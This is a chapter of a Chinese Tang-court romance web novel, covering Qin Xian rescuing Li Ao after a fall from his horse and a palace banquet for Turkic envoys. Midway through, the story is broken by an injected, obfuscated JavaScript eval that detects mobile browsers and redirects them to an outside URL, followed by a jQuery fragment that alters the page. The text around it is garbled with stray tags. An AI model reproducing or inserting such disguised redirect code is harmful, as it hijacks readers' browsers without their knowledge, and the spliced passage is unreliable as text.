李骜迟钝地回过神来,可是已经来不及了。眼看他即将一头撞到篱笆,秦冼立刻催马赶上,高速行驶中,她与他并辔而行。电光火石间,秦冼不由分说一手握住两根缰绳,探下身子一把抓起的辔头。
“李骜!你不要命了?!”她怒喝,李骜的马嘶鸣着,被强大的力量禁锢着,只能减缓速度奔跑。
“砰!”一声,马儿一头扎在篱笆上,李骜摔马惊声滚落。
*
李骜瘫倒在一颗还未抽芽的柳树下,
他的胸膛剧烈起伏,说不清是劫后余生的心悸,还是因为惦记某件事的窒痛。
原来崔砚秋之前说喜欢自己,是假的,是在骗他。
想到此处,李骜捂住心口,那里好像有一柄钝刀子,一下一下捅穿他的心脏。
秦冼将两匹马拴好,拿了水壶向他走来。水壶丢给李骜,秦冼抱臂站在原地,一声不吭望着他。
方才情形紧急,若不是秦冼降低他的马的速度,现在可不只是磕了碰了这么简单,说不准直接被马儿甩飞出几里地,全身骨折。
秦冼一时头痛。怎么救了他的身体,还要挽救他的心灵么?
李骜接过水一饮而尽,毫不在意秦冼的存在。他蜷缩在柳树下,将脸深深埋近掌中,一向尊贵的从容不迫的世子,此刻只剩下无尽的迷茫与孤独的狼狈。
秦冼静静站在一旁。
“抱歉,”李骜说道,“我实在不知该如何做了。”
“你是为了砚娘?”秦冼一向直来直去。
见他不说话,秦冼了然,在他身边四仰八叉地躺在地上,手臂弯在脖颈后充当枕头。
她语气放缓了些,悠悠道,“到底是因为她,还是你不甘心受挫?”
“我……”李骜张了张嘴,想要辩解,却化为了一声苦笑,“我曾以为婚约是责任,后来发现,她有她的风骨、机智与善良,像一阵风一样,与其他任何人都不一样。那时,我想要帮助明月铛渡过难关,可分明这么一条康庄大道不走,她偏偏要自己去闯——或许也是我不甘心,但我渐渐接受了这个事实。”
他想帮明月铛渡过难关,是指珍宝阁指示赵三郎诬陷明月铛的事情。
那时,她菊花宴所作诗歌打动人心,又有母亲的嘱托,李骜会不自觉想要靠近她,帮忙搭把手。
可崔砚秋拒绝了,这让他感到不甘心。
于是他压下最开始的冷淡、疏远、轻视,慢慢去接近、了解她。当他开始认真对待他们的婚约时,却被崔砚秋突如其来的表白打得措手不及。那时他惶恐、不安、惊讶,表面上不屑一顾,经由深思熟虑,竟生出一丝被自己吓到的念头:
他想,如果能把这般有趣的女人娶回家,或许也不错。
他不是没有纠结,可他发现那个先于自己表达心意的人是他的十二叔,是伫立在他面前,永远无法翻越的一座大山。
靖王李珩,是陛下最为倚重的弟弟,拥有替崔砚秋改变风云、破除规则的魄力,他的感情纯粹而热烈,他理解崔砚秋的志向、欣赏她的才华,身负战功、权力布及整个朝堂。
在息国公府世子李骜的眼中,靖王李珩与崔砚秋并肩而行,靖王能够承载下整个广阔的世界。
可是自己能给崔砚秋的,只有国公府的尊荣,安稳的归宿。他年岁不高,手中无甚权力,只能提供一座华美精巧的笼子。
秦冼已在一旁豪迈地躺着,并不多问,她从怀中拿出那枚羊脂玉的平安扣,递到他面前。
“给。”她干脆利落。
李骜思绪被拉回,怔怔道,“这……”
“赛马,你输了,按照之前的约定,”秦冼语气平淡,“你得答应我一个要求。”
“我的要求是——”她顿了顿,郑重道,“把它重新戴上。你的平安,不该系到他人身上,更不该轻易送人。”
他的平安扣在她身上,而她反过来救了他。
秦冼本人也算是发挥了平安扣的作用。
李骜看着那枚莹润的平安扣静静落在秦冼的掌心。
她的掌心不似长安城贵女白嫩,而是布满了拉弓射箭、驭马行驶、挥刀弄枪留下的薄茧。阳光穿透柳枝的缝隙,投下斑驳的光影。
她的眼神坦荡,没有丝毫施舍与怜悯。
他伸出手,郑重地拿过那枚平安扣。
“谢谢。”他将玉扣紧攥手心,仿佛重新握住力量。
“秦娘子。”他抬起头,望向秦冼,总觉得她被一层薄薄的雾笼罩,李骜眸中坚定许多,“下次赛马,我不会再输了。”
秦冼闻言抬头,真心实意笑了。那笑意像阳光一般,让她整个人明亮起来,在李骜眼中,仿佛刻画出一个清晰的人影。
翻身上马,秦冼并没有急着回答,她掉转马头,利落拉动缰绳。
“等你赢了再说。”
她丢下这句话,留给李骜一个背影。
这个背影,既潇洒,又散发着蓬勃的生命力。
李骜将掌心的玉扣按在心口,轻轻咳嗽起来。
那里不再只为了一段无望的旧梦而遗憾,那里似乎在为一个新的宛如旷野清风般的身影跳动。
*
昔日立政殿内氛围庄重严肃,今日却因为崔砚秋的到访变得欢声笑语。
崔砚秋嘴里念着什么“时代在召唤”,身后的皇后崔愈华,与身高还不过她胸口的小皇子李寰,一同随着她舞动四肢。尽管略显僵硬,却逗得卢令娴在一旁笑得花枝乱颤。
小皇子似乎将这一切当成了一场游戏,蹦蹦跳跳,不亦乐乎。
皇帝李瑾坐在一旁,手中端着茶杯,被儿子的憨态可掬逗笑,连带着茶杯中的水都激荡起波纹。
这不伦不类的一幕,在寂静的皇宫中显得别开生面。
日上三竿,迎接突厥使臣来访朝拜的同和宴已备好。靖王李珩随内侍总管前来,请皇帝、皇后入席。
步入殿内的一刹那,便见到如此滑稽景象。李珩脚步一顿,只见崔砚秋站在最前领操,因长时间运动而脸颊微红,神采飞扬。见她如此鲜活快乐的模样,他心中反而更为在意,嘴角勾起一抹浅淡的弧度。
李珩的身影进殿时,崔砚秋眉飞色舞喊着拍子的嗓音突然卡壳,只一下,便若无其事回到了正轨,无甚异样。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275356|198213||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
只是她的声音小了许多,刻意避开与李珩的视线接触,似是强行假装此人不存在。
参与同和宴的人员中,卢令娴是尚书之女,自然要去;而崔砚秋作为得了圣心、扳倒司徒鸿的功臣,自然也受皇后相邀前去。
同和宴设在大明宫含元殿。殿宇陈设青铜礼器与皇家珍宝,尽显大唐国威。
突厥使臣手持国书,步入大殿,两侧禁军持戟而立,气势威严。
使臣行至殿中,叩首向皇帝行礼。皇帝李瑾接受朝拜,引礼官便引导使臣入席东侧,奉上茶点。
崔砚秋被特例允许坐在前排靠近皇后处,与卢令娴同桌而席。
开宴奏乐,《宴乐》起。胡姬在大殿中央扭动着纤细的腰肢,腰上的银铃作响,响声拨得崔砚秋心弦都乱了。
卢令娴小口吃着一块糕饼,心不在焉。
“砚娘,口水都快流下来了,注意形象啊。”卢令娴低声提醒道,“你不会不仅喜欢小男倌,还馋胡姬的身子吧……”
“又如何?”崔砚秋吐吐舌头,“早晚有一天,我要把甘棠也打扮成这个样,日日在我眼前晃。”
甘棠,是崔砚秋的贴身侍女。
含元殿分轮进行传膳。侍从按“冷盘、热菜、主食”的顺序传膳,每道菜品上桌时,鸿胪寺少卿司徒辞疏都高声报着菜名,简要介绍食材产地。食材通常来自全国各地,快马送来,此举暗示王朝疆域辽阔、物流便捷。
在任何外交宴席之上,一切行为皆俱宣扬国威。
崔砚秋嘟着嘴巴,十分不满:每次都要经过司徒辞疏长篇大论的高谈阔论、和突厥使臣的恭维后,才能动筷子吃饭。
热菜都得说凉了,才能吃上一口。
好不容易吃得差不多了,又要举杯祝酒。皇帝李瑾笑着询问突厥风土人情,展现“天子关怀远邦”的辽阔姿态,突厥使臣恭敬回敬,将上好的骏马与毛皮献给王朝,而皇帝则命令内侍收下,回赠中原的丝绸、瓷器,以体现两邦交流,礼尚往来。
席间穿插着崔砚秋最喜欢的百戏表演。吞刀吐火的、斗角力演杂技的、还有跳盘鼓舞的……这个宴席才终于有了点趣味。
崔砚秋捧着脸乐滋滋看着舞姬身轻如燕,在鼓皮上翩翩起舞,却感觉有人的目光落在她的身上。她直起身子,偏头探了去。
果然是李珩。
李珩的目光不躲不藏,甚至隔着人群,笑着向崔砚秋举起酒杯。
崔砚秋轻哼一声,不理他,别过脑袋低声同卢令娴交谈。
李珩却心满意足。
自上次一别,已经过了八天零六个时辰,幸好再次见到崔砚秋时,她没有瘦,身体看上去健壮许多。
觥筹交错间,酒过三巡,突厥使臣首领咄苾起身。异域风情的乐曲伴奏,他借着酒意,满面通红,目光掠过盘鼓舞姬,伸手指向她们,毫不避讳高声道:
“这大唐的女子,果然柔美。不过,比起我突厥健儿在草原上驯服的烈马,终究是少了些野性。不如陛下多送些这样的美人去我突厥,也好让我突厥的勇士,感受一下大唐风雅?哈哈哈!”
……